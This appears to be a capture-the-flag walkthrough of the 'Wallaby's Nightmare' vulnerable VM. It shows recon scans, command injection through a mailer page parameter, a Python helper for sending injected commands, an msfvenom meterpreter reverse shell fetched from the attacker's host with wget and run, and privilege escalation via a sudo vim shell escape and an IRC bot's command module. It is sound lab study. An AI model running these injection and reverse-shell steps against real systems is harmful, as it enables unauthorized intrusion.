Wallaby's Nightmare
Blurb about the vulnerable box
This is my first boot2root machine. It's beginner-intermediate level.
It's been tested in VBox and VMware and seems to work without issues in both.
A tip, anything can be a vector, really think things through here based on how the machine works. Make a wrong move though and some stuff gets moved around and makes the machine more difficult!
This is part one in a two part series. I was inspired by several vms I found on vulnhub and added a bit of a twist to the machine.
Good luck and I hope you guys enjoy!
This is my first CTF/Vulnerable VM ever. I created it both for educational purposes and so people can have a little fun testing their skills in a legal, pentest lab environment.
Some notes before you download!
Try to use a Host-Only Adapter. This is an intentionally vulnerable machine and leaving it open on your network can have bad results.
It should work with Vmware flawlessly. I've tested it with vbox and had one other friend test it on Vbox as well so I think it should work just fine on anything else.
This is a Boot2Root machine. The goal is for you to attempt to attempt to gain root privileges in the VM. Do not try to get the root flag through a recovery iso etc, this is essentially cheating! The idea is to get through by pretending this machine is being attacked over a network with no physical access.
I themed this machine to make it feel a bit more realistic. You are breaking into a fictional characters server (named Wallaby) and trying to gain root without him noticing, or else the difficulty level will increase if you make the wrong move! Good luck and I hope you guys enjoy!
Changelog v1.0 - 2016-12-22 - First Release. v1.0.1 - 2016-12-29 - VM was made harder with various fixes. v1.0.2 - 2016-12-30 - Removed a left over temp file that could be used as a
shortcut.
Tips
Welcome to the Wallaby's Worst Knightmare 2 part series VM.
A few tips.
1. Fuzzing is your friend.
2. Tmux can be useful for many things.
3. Your environment matters.
Good luck and have fun! -Waldo
Start the CTF!
There's two adapters, which is weird
I set up wallaby / wallaby1 / target as the first network adapter, and wallaby2 as the second
This seems to be a misconfig on my first try, oopsie doopsie, I muffed it up again!
found em in a ping sweep:
nmap -n -sP 192.168.167.0/24
NMAP
msf5 > db_nmap -sV -O -A -T5 -Pn -p- wallaby1
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 14:20 EDT
[*] Nmap: Nmap scan report for wallaby1 (192.168.167.133)
[*] Nmap: Host is up (0.0013s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
[*] Nmap: | 256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
[*] Nmap: |_ 256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
[*] Nmap: 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)
[*] Nmap: |_http-title: Wallaby's Server
[*] Nmap: 6667/tcp filtered irc
[*] Nmap: MAC Address: 00:0C:29:41:F1:35 (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 1.29 ms wallaby1 (192.168.167.133)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds
msf5 > db_nmap -sV -O -A -T5 -p- wallaby2
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 14:20 EDT
[*] Nmap: Nmap scan report for wallaby2 (192.168.167.134)
[*] Nmap: Host is up (0.0014s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
[*] Nmap: | 256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
[*] Nmap: |_ 256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
[*] Nmap: 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)
[*] Nmap: |_http-title: Wallaby's Server
[*] Nmap: 6667/tcp filtered irc
[*] Nmap: MAC Address: 00:0C:29:41:F1:35 (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 1.43 ms wallaby2 (192.168.167.134)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 12.49 seconds
msf5 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.167.133 00:0c:29:41:f1:35 wallaby1 Linux 3.X server
192.168.167.134 00:0c:29:41:f1:35 wallaby2 Linux 3.X server
msf5 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.167.133 22 tcp ssh open OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 Ubuntu Linux; protocol 2.0
192.168.167.133 80 tcp http open Apache httpd 2.4.18 (Ubuntu)
192.168.167.133 6667 tcp irc filtered
192.168.167.134 22 tcp ssh open OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 Ubuntu Linux; protocol 2.0
192.168.167.134 80 tcp http open Apache httpd 2.4.18 (Ubuntu)
192.168.167.134 6667 tcp irc filtered
HTTP
Nikto
nikto scan caused port 80 to be closed!
root@kali:~# nikto -host target
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.167.133
+ Target Hostname: target
+ Target Port: 80
+ Start Time: 2019-05-01 20:09:16 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 20 error(s) and 6 item(s) reported on remote host
+ End Time: 2019-05-01 20:09:21 (GMT-4) (5 seconds)
---------------------------------------------------------------------------
Manual
source of /
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
<h5>Enter a username to get started with this CTF! </h5> <br /><form name="nickname" action="" method="post">
<input type="text" name="yourname" value="" />
<input type="submit" name="submit" value="Submit" />
</form>
Your username for this ctf is penis
click here to change your username:
Welcome to the Wallaby's Worst Knightmare 2 part series VM.
A few tips.
1. Fuzzing is your friend.
2. Tmux can be useful for many things.
3. Your environment matters.
Good luck and have fun! -Waldo
Start the CTF!
What the heck is this? Some guy named penis is trying to penetrate my server? Loser must not know I'm the great Wallaby!
Let's observe him for now, maybe I could learn about him from his behavior.
<html><head><title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
</head><body><p style="text-align:center;">What the heck is this? Some guy named <em>penis
</em> is trying to penetrate my server? Loser must not know I'm the great Wallaby!</p>
<br><p style="text-align:center;">Let's <strong><em>observe</em></strong> him for now, maybe I could learn about him from his behavior. <br>
<img src="/eye.jpg"></p></body></html>
root@kali:~/wallaby# curl 'http://wallaby/?page=mailer&mail=ls%20-R'
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
.:
eye.jpg
index.php
levelone.txt
s13!34g$3FVA5e@ed
sec.png
./s13!34g$3FVA5e@ed:
althome.php
blacklist.php
contact.php
first_visit.php
home.php
honeypot.php
index.php
mailer.php
welcome.php
<h2 style='color:blue;'>Coming Soon guys!</h2>
<!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
<!--Better finish implementing this so can send me all his loser complaints!-->root@kali:~/wallaby#
root@kali:~/wallaby# curl 'http://wallaby/?page=mailer&mail=id'
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<h2 style='color:blue;'>Coming Soon guys!</h2>
<!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
<!--Better finish implementing this so can send me all his loser complaints!-->
Dirb
wallaby/server-status - 403
wallaby/javascript/jquery
wallaby/javascript/jquery/jquery - 200
dirb http://wallaby/?page= -z 10 /usr/share/dirb/wordlists/vulns/apache.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed May 1 21:40:05 2019
URL_BASE: http://wallaby/?page=
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
SPEED_DELAY: 10 milliseconds
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://wallaby/?page= ----
+ http://wallaby/?page=.git/HEAD (CODE:200|SIZE:1106)
+ http://wallaby/?page=.svn/entries (CODE:200|SIZE:897)
+ http://wallaby/?page=_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:897)
+ http://wallaby/?page=_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:897)
+ http://wallaby/?page=_vti_bin/shtml.dll (CODE:200|SIZE:897)
root@kali:~/src/wallaby# curl target/?page=.git/config
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
<h2>That's some fishy stuff you're trying there <em></em>buddy. You must think Wallaby codes like a monkey! I better get to securing this SQLi though...</h2>
<br />(Wallaby caught you trying an LFI, you gotta be sneakier! Difficulty level has increased.)
root@kali:~/src/wallaby#
root@kali:~/src/wallaby#
root@kali:~/src/wallaby# curl http://wallaby/?page=../../../etc/passwd
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
walfin:x:1000:1000:walfin,,,:/home/walfin:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
steven?:x:1001:1001::/home/steven?:/bin/bash
ircd:x:1003:1003:,,,:/home/ircd:/bin/bash<!--This is what we call 'dis-information' in the cyber security world! Are you learning anything new here ?-->
root@kali:~/src/wallaby#
root@kali:~/src/wallaby# curl http://wallaby/?page=../../../etc/crontab
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
<h2>That's some fishy stuff you're trying there <em></em>buddy. You must think Wallaby codes like a monkey! I better get to securing this SQLi though...</h2>
<br />(Wallaby caught you trying an LFI, you gotta be sneakier! Difficulty level has increased.)root@kali:~/src/wallaby#
root@kali:~/src/wallaby#
# Triggered LFI alert (using '/' in ?path=<location> triggers if it doesn't contain /etc/passwd)
curl "http://wallaby/?page=/admin"
msf5 > db_nmap -sV -O -A -T3 -p- wallaby
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 22:08 EDT
[*] Nmap: Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
[*] Nmap: Service scan Timing: About 50.00% done; ETC: 22:09 (0:00:11 remaining)
[*] Nmap: Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
[*] Nmap: Service scan Timing: About 100.00% done; ETC: 22:08 (0:00:00 remaining)
[*] Nmap: Nmap scan report for wallaby (192.168.56.105)
[*] Nmap: Host is up (0.0011s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
[*] Nmap: | 256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
[*] Nmap: |_ 256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
[*] Nmap: 6667/tcp filtered irc
[*] Nmap: 60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)
[*] Nmap: |_http-title: Wallaby's Server
[*] Nmap: MAC Address: 08:00:27:ED:DF:AC (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 1.13 ms wallaby (192.168.56.105)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.54 seconds
curl http://wallaby:60080/
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
<p style="text-align:center;">HOLY MOLY, this guy <em></em>wants me...Glad I moved to a different port so I could work more securely!!!</p>
<br /><p style="text-align:center;">As we all know, <strong><em>security by obscurity</em></strong> is the way to go...<br />
<img src="/sec.png"/></p>
# dirb http://wallaby:60080/?page= /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed May 1 22:14:23 2019
URL_BASE: http://wallaby:60080/?page=
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://wallaby:60080/?page= ----
+ http://wallaby:60080/?page=blacklist (CODE:200|SIZE:986)
+ http://wallaby:60080/?page=cgi-bin/ (CODE:200|SIZE:892)
+ http://wallaby:60080/?page=contact (CODE:200|SIZE:895)
+ http://wallaby:60080/?page=home (CODE:200|SIZE:1139)
+ http://wallaby:60080/?page=index (CODE:200|SIZE:1053)
+ http://wallaby:60080/?page=mailer (CODE:200|SIZE:1077)
###Quick script to speed up generating HTML-friendly form values against http://wallaby:60080/?page=mailer, and optionally send the request
#!/usr/bin/env python3
import argparse
import urllib.parse
import requests
parser = argparse.ArgumentParser()
parser.add_argument("--command", "-c", help="command to encode in URL-friendly format")
parser.add_argument("--sendit", "-s", help="send the request", action='store_true')
target = 'http://wallaby:60080'
args = parser.parse_args()
html_form_value = urllib.parse.quote_plus(args.command)
if args.sendit:
baseurl = target + '?page=mailer&mail='
url = baseurl + html_form_value
r = requests.get(url)
print(r.text, "\n", r.status_code)
else:
print(html_form_value)
Getting a Foothold
The vector
Young Mat found groovy stuff in dirb and we poked around and checked out some things, which led to this gem of execution!
root@kali:~/wallaby# curl 'http://wallaby/?page=mailer&mail=ls+-r'
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
testpoo
sec.png
s13!34g$3FVA5e@ed
revshell.1
revshell
poop
nc
levelone.txt
index.php
id.php
hotmud.php
eye.jpg
again.php
<h2 style='color:blue;'>Coming Soon guys!</h2>
<!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
<!--Better finish implementing this so can send me all his loser complaints!-->root@kali:~/wallaby#
The script
We all poked at this for a while manually and then Mat and I collaborated on a script to make using this easier:
#!/usr/bin/env python3
import argparse
import urllib.parse
import requests
parser = argparse.ArgumentParser()
parser.add_argument("--command", "-c", help="command to encode in URL-friendly format")
parser.add_argument("--sendit", "-s", help="send the request", action='store_true')
args = parser.parse_args()
html_form_value = urllib.parse.quote_plus(args.command)
if args.sendit:
baseurl = 'http://wallaby/?page=mailer&mail='
url = baseurl + html_form_value
r = requests.get(url)
print(r.text, "\n", r.status_code)
else:
print(html_form_value)
this makes access much easier
root@kali:~/wallaby# ~/src/wallaby/pcurl.py -s -c 'ls -lR'
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
</script>
.:
total 544
-rw-r--r-- 1 www-data www-data 779 May 1 20:01 again.php
-rw-r--r-- 1 root root 15953 Aug 11 2015 eye.jpg
-rw-r--r-- 1 www-data www-data 779 May 1 19:55 hotmud.php
-rw-r--r-- 1 www-data www-data 585 May 1 20:13 id.php
-rw-r--r-- 1 root root 3639 Dec 27 2016 index.php
-rw-r--r-- 1 root root 0 Dec 27 2016 levelone.txt
-rwxr-xr-x 1 www-data www-data 442856 May 2 14:41 nc
lrwxrwxrwx 1 www-data www-data 17 May 1 20:05 poop -> s13!34g$3FVA5e@ed
-rwxr-xr-x 1 www-data www-data 234 May 2 06:13 revshell
-rw-r--r-- 1 www-data www-data 234 May 2 06:13 revshell.1
drwxr-xr-x 2 root root 4096 Dec 27 2016 s13!34g$3FVA5e@ed
-rw-r--r-- 1 root root 57626 Dec 27 2016 sec.png
-rw-r--r-- 1 www-data www-data 6 May 2 05:49 testpoo
./s13!34g$3FVA5e@ed:
total 36
-rw-r--r-- 1 root root 339 Dec 27 2016 althome.php
-rw-r--r-- 1 root root 698 Dec 27 2016 blacklist.php
-rw-r--r-- 1 root root 78 Dec 16 2016 contact.php
-rw-r--r-- 1 root root 371 Dec 16 2016 first_visit.php
-rw-r--r-- 1 root root 379 Dec 16 2016 home.php
-rw-r--r-- 1 root root 1350 Dec 27 2016 honeypot.php
-rw-r--r-- 1 root root 213 Dec 15 2016 index.php
-rw-r--r-- 1 root root 461 Dec 16 2016 mailer.php
-rw-r--r-- 1 root root 667 Dec 16 2016 welcome.php
<h2 style='color:blue;'>Coming Soon guys!</h2>
<!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
<!--Better finish implementing this so can send me all his loser complaints!-->
200
root@kali:~/wallaby#
The payload / getting meterpreter
First we make a payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.167.130 LPORT=4444 -f elf -e x86/shikata_ga_nai -a x86 --platform linux -o revshell
What is this command?
-p specifies the payload we are making a linux, x86 payload for a meterpreter reverse shell over tcp
LHOST, LPORT are variables for this payload (and standard for all metasploit) LHOST is the listen host LPORT is the listen port (atack box).
-f format is elf (linux binary)
-e encoder is x86/shikata_ga_nai - I believe it is the best choice for an encoder unless you have a good reason to use a different one or know more about encoders than me (not hard!) https://en.wikipedia.org/wiki/Shikata_ga_nai
-a arch is x86 (target)
--platform is linux (target)
-o <filename> (name of our payload file)
Start a HTTP server to make uploading the payload easy!
from the directory where your payload is:
python3 -m http.server 8000 &
Fetch the payload and chmod it
~/src/wallaby/pcurl.py -s -c 'wget 192.168.167.130:8000/revshell'
~/src/wallaby/pcurl.py -s -c 'chmod a+x revshell'
Start a local handler
use the exploit/multi/handler module. Set the payload options to match *exactly* what you generated with msfvenom, and run it!
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
6
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 192.168.167.130
LHOST => 192.168.167.130
msf5 exploit(multi/handler) > run
Call the exploit and watch your meterpreter shell
in a terminal:
root@kali:~/wallaby# ~/src/wallaby/pcurl.py -s -c './revshell'
in msfconsole:
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.167.130:4444
[*] Sending stage (985320 bytes) to 192.168.167.133
[*] Meterpreter session 1 opened (192.168.167.130:4444 -> 192.168.167.133:47150) at 2019-05-02 09:15:32 -0400
meterpreter > getuid
Server username: uid=33, gid=33, euid=33, egid=33
meterpreter >
congratulations! You've got a meterpreter shell! :D
Escalating Privileges
www-data
from meterpreter as www-data, we can turn into waldo:
meterpreter > channel -i 2
Interacting with channel 2...
whoami
www-data
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
(ALL) NOPASSWD: /sbin/iptables
This shows how to become waldo user with a vim escape; from a www-data shell
Becoming waldo, another user with better access
as www-data, run:
sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
When you get into vim, run
:shell
Now you are waldo!
whoami
waldo
id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
You still have a terrible shell though. So let's fix that:
make the .ssh directory in waldo's home, echo out an ssh pubkey to the .ssh directory, and chown it 600
Waldo, in a real shell, to become wallaby
The tips for this CTF included a hint about tmux being useful. Once we become waldo, it's easy to see what he is running, since there is a script for running irssi in waldo's home directory. That script start irssi in a tmux session.
So from a real shell (with a tty), using 'tmux attach' will get you into waldo's irssi session.
How do I irssi?
We spent some time remembering how to use irssi. I haven't run it for years, even though it used to be a daily driver. Eventually we remembered how to list windows, and found #wallabyschat
18:06 -!- waldo [waldo@wallaby-DCED2AAD] has joined #wallabyschat
18:06 [Users #wallabyschat]
18:06 [@waldo]
18:06 -!- Irssi: #wallabyschat: Total of 1 nicks [1 ops, 0 halfops, 0 voices, 0 normal]
18:06 -!- Channel #wallabyschat created Wed May 1 18:06:18 2019
18:06 -!- Irssi: Join to #wallabyschat was synced in 7 secs
18:06 -!- wallabysbot [sopel@wallaby-DCED2AAD] has joined #wallabyschat
SteveyDevey noticed the join message for wallabysbot. We played around with the bot and found the .run command, which failed on anything other than single arg invocations, but runs those things as wallaby!
Matato did some excellent research on the module, first by exploring the system and finding the module (which is custom), and then digging through the sopen source to understand the stuff the module inherited via decorators.
So, after digging a big with irssi, wallaby's .run custom module. trigger.group(2) won't accept any sort of command with args.
waldo@ubuntu:/home/wallaby/.sopel/modules$ cat run.py
import sopel.module, subprocess, os
from sopel.module import example
@sopel.module.commands('run')
@example('.run ls')
def run(bot, trigger):
if trigger.owner:
os.system('%s' % trigger.group(2))
runas1 = subprocess.Popen('%s' % trigger.group(2), stdout=subprocess.PIPE).communicate()[0]
runas = str(runas1)
bot.say(' '.join(runas.split('\\n')))
else:
bot.say('Hold on, you aren\'t Waldo?')
Trying to understand trigger.group(2) a bit, it's the group function from the match attribute. Not sure there's a way to inject multiple args into the `.run` module. May be a single command to target in wallaby's env?
https://github.com/sopel-irc/sopel/blob/master/sopel/trigger.py
Maybe we can create a shell script in a location Waldo can access, make it 777 and then run it as wallaby with the single.arg bot invocation of run as waldo?
I think trigger.group(2) is our command.
Finally, Matato ran with the idea to create a script and run it as the single arg to .run so that waldo can execute code as wallaby!
waldo@ubuntu:~$ cat test
#!/bin/bash
sudo -l
mkdir /home/wallaby/.ssh
